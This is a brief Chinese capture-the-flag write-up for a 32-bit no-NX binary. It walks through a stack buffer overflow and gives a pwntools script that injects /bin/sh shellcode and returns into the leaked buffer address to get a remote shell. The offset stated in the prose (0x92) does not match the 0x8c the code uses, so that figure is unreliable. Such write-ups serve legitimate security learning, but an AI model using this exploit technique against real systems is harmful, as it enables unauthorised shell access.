题目地址
32位的ELF
没有保护
用IDA打开看看,没有发现可以直接利用的函数,但是有一个vulnerable_function函数
没有NX的保护,可以输入一段shellcode在buf中,函数返回时跳转到buf位置,就可以执行shellcode
先看一下buf到ret的偏移
0x4到-0x88 一共偏移了0x92
现在还需要一个buf的地址
执行这个文件的时候,会跳出一个地址,这个就是buf的地址
exp
from pwn import * r = remote("pwn2.jarvisoj.com",9877) shellcode = asm(shellcraft.sh()) //通过pwntool的函数获取shellcode buffer=r.recvline()[14:-2] //截取字符串里面的地址 ff890e80 buf_addr = int(buffer,16) payload = 'a' * (0x88+0x4-len(shellcode))+shellcode + p32(buf_addr) r.sendline(payload) r.interactive()
执行结果